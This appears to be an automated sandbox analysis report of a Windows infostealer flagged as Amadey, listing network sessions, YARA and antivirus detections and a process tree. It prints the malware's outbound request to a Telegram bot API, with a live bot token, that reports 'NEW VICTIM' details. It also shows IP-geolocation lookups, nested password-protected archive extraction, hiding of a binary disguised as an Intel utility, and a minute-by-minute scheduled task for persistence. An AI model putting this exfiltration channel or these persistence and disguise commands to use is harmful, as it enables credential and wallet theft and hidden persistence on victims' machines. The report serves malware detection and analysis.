                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  14192.168.2.44988034.117.59.814438184C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:53 UTC91OUTGET /json HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: IPInfoFetcher
                                                                                                                                                                                                                                                                                  Host: ipinfo.io
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:53 UTC345INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  access-control-allow-origin: *
                                                                                                                                                                                                                                                                                  Content-Length: 321
                                                                                                                                                                                                                                                                                  content-type: application/json; charset=utf-8
                                                                                                                                                                                                                                                                                  date: Sat, 21 Dec 2024 11:15:53 GMT
                                                                                                                                                                                                                                                                                  x-content-type-options: nosniff
                                                                                                                                                                                                                                                                                  via: 1.1 google
                                                                                                                                                                                                                                                                                  strict-transport-security: max-age=2592000; includeSubDomains
                                                                                                                                                                                                                                                                                  Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:53 UTC321INData Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a
                                                                                                                                                                                                                                                                                  Data Ascii: { "ip": "8.46.123.189", "hostname": "static-cpe-8-46-123-189.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone":


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  15192.168.2.449888149.154.167.2204438184C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:55 UTC513OUTGET /bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=7427009775&text=%3Cb%3E%F0%9F%94%94NEW%20VICTIM%20%2D%20Extensions%20Installed%3C%2Fb%3E%0A%3Cb%3EIP%20Address%3A%3C%2Fb%3E%208%2E46%2E123%2E189%0A%3Cb%3EDevice%20Name%3A%3C%2Fb%3E%20494126%0A%3Cb%3ELocation%3A%3C%2Fb%3E%20New%20York%20City%2C%20New%20York%2C%20US%0A%3Cb%3EWallets%3A%3C%2Fb%3E%0A%3Ccode%3ENothing%20found%3C%2Fcode%3E&parse_mode=HTML HTTP/1.1
                                                                                                                                                                                                                                                                                  User-Agent: TelegramBot
                                                                                                                                                                                                                                                                                  Host: api.telegram.org
                                                                                                                                                                                                                                                                                  Cache-Control: no-cache
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:55 UTC388INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Server: nginx/1.18.0
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:55 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/json
                                                                                                                                                                                                                                                                                  Content-Length: 777
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                                                                                                                                                                                                                                                  Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:55 UTC777INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 36 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 35 35 38 37 38 35 34 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 72 68 6a 64 66 74 6a 6b 77 34 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 32 37 30 30 39 37 37 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 61 5c 75 30 34 33 30 5c 75 30 34 34 30 5c 75 30 34 33 34 5c 75 30 34 33 30 5c 75 30 34 33 64 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5c 75 30 34 31 32 5c 75 30 34 33 30 5c 75 30 34 33 62 5c 75 30 34 33 65 5c 75 30 34 33 32 22
                                                                                                                                                                                                                                                                                  Data Ascii: {"ok":true,"result":{"message_id":26673,"from":{"id":7855878545,"is_bot":true,"first_name":"srhjdftjkw4","username":"srhjdftjkw4_bot"},"chat":{"id":7427009775,"first_name":"\u041a\u0430\u0440\u0434\u0430\u043d","last_name":"\u0412\u0430\u043b\u043e\u0432"


                                                                                                                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                                  16192.168.2.44988798.85.100.804434504C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe
                                                                                                                                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:55 UTC52OUTGET /ip HTTP/1.1
                                                                                                                                                                                                                                                                                  Host: httpbin.org
                                                                                                                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:55 UTC224INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                  Date: Sat, 21 Dec 2024 11:15:55 GMT
                                                                                                                                                                                                                                                                                  Content-Type: application/json
                                                                                                                                                                                                                                                                                  Content-Length: 31
                                                                                                                                                                                                                                                                                  Connection: close
                                                                                                                                                                                                                                                                                  Server: gunicorn/19.9.0
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                  Access-Control-Allow-Credentials: true
                                                                                                                                                                                                                                                                                  2024-12-21 11:15:55 UTC31INData Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a
                                                                                                                                                                                                                                                                                  Data Ascii: { "origin": "8.46.123.189"}


                                                                                                                                                                                                                                                                                  Statistics

                                                                                                                                                                                                                                                                                  CPU Usage

                                                                                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                                                                                  Memory Usage

                                                                                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                                                                                                                                                  Behavior

                                                                                                                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                                                                                                                  System Behavior

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:0
                                                                                                                                                                                                                                                                                  Start time:06:14:00
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\Desktop\file.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0xaf0000
                                                                                                                                                                                                                                                                                  File size:2'969'600 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:76C2F75BF3EFB5964C432F7661D22D58
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1683895756.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1724286059.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:1
                                                                                                                                                                                                                                                                                  Start time:06:14:03
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x150000
                                                                                                                                                                                                                                                                                  File size:2'969'600 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:76C2F75BF3EFB5964C432F7661D22D58
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1713982339.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 100%, Avira
                                                                                                                                                                                                                                                                                  • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                                                                  • Detection: 55%, ReversingLabs
                                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:5
                                                                                                                                                                                                                                                                                  Start time:06:15:00
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x150000
                                                                                                                                                                                                                                                                                  File size:2'969'600 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:76C2F75BF3EFB5964C432F7661D22D58
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Yara matches:
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2281282422.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:6
                                                                                                                                                                                                                                                                                  Start time:06:15:18
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x400000
                                                                                                                                                                                                                                                                                  File size:4'438'776 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:3A425626CBD40345F5B8DDDD6B2B9EFA
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 87%, ReversingLabs
                                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:7
                                                                                                                                                                                                                                                                                  Start time:06:15:21
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff70caa0000
                                                                                                                                                                                                                                                                                  File size:289'792 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:8
                                                                                                                                                                                                                                                                                  Start time:06:15:21
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Reputation:high
                                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:9
                                                                                                                                                                                                                                                                                  Start time:06:15:21
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\mode.com
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:mode 65,10
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff6cedc0000
                                                                                                                                                                                                                                                                                  File size:33'280 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:BEA7464830980BF7C0490307DB4FC875
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:10
                                                                                                                                                                                                                                                                                  Start time:06:15:22
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Antivirus matches:
                                                                                                                                                                                                                                                                                  • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:11
                                                                                                                                                                                                                                                                                  Start time:06:15:22
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_7.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:12
                                                                                                                                                                                                                                                                                  Start time:06:15:22
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_6.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:14
                                                                                                                                                                                                                                                                                  Start time:06:15:22
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_5.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Reputation:moderate
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:15
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_4.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:16
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_3.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:17
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_2.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:18
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\7z.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:7z.exe e extracted/file_1.zip -oextracted
                                                                                                                                                                                                                                                                                  Imagebase:0xc80000
                                                                                                                                                                                                                                                                                  File size:468'992 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:619F7135621B50FD1900FF24AADE1524
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:19
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:attrib +H "in.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff6500a0000
                                                                                                                                                                                                                                                                                  File size:23'040 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:20
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Users\user\AppData\Local\Temp\main\in.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:"in.exe"
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff712290000
                                                                                                                                                                                                                                                                                  File size:1'827'328 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:83D75087C9BF6E4F07C36E550731CCDE
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:21
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff6500a0000
                                                                                                                                                                                                                                                                                  File size:23'040 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:22
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\attrib.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff6500a0000
                                                                                                                                                                                                                                                                                  File size:23'040 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:5037D8E6670EF1D89FB6AD435F12A9FD
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:23
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                                                                  File size:862'208 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                                  Target ID:24
                                                                                                                                                                                                                                                                                  Start time:06:15:23
                                                                                                                                                                                                                                                                                  Start date:21/12/2024
                                                                                                                                                                                                                                                                                  Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                                  Commandline:schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                                                                                                                                                                                                                                                                                  Imagebase:0x7ff76f990000
                                                                                                                                                                                                                                                                                  File size:235'008 bytes
                                                                                                                                                                                                                                                                                  MD5 hash:76CD6626DD8834BD4A42E6A565104DC2
                                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
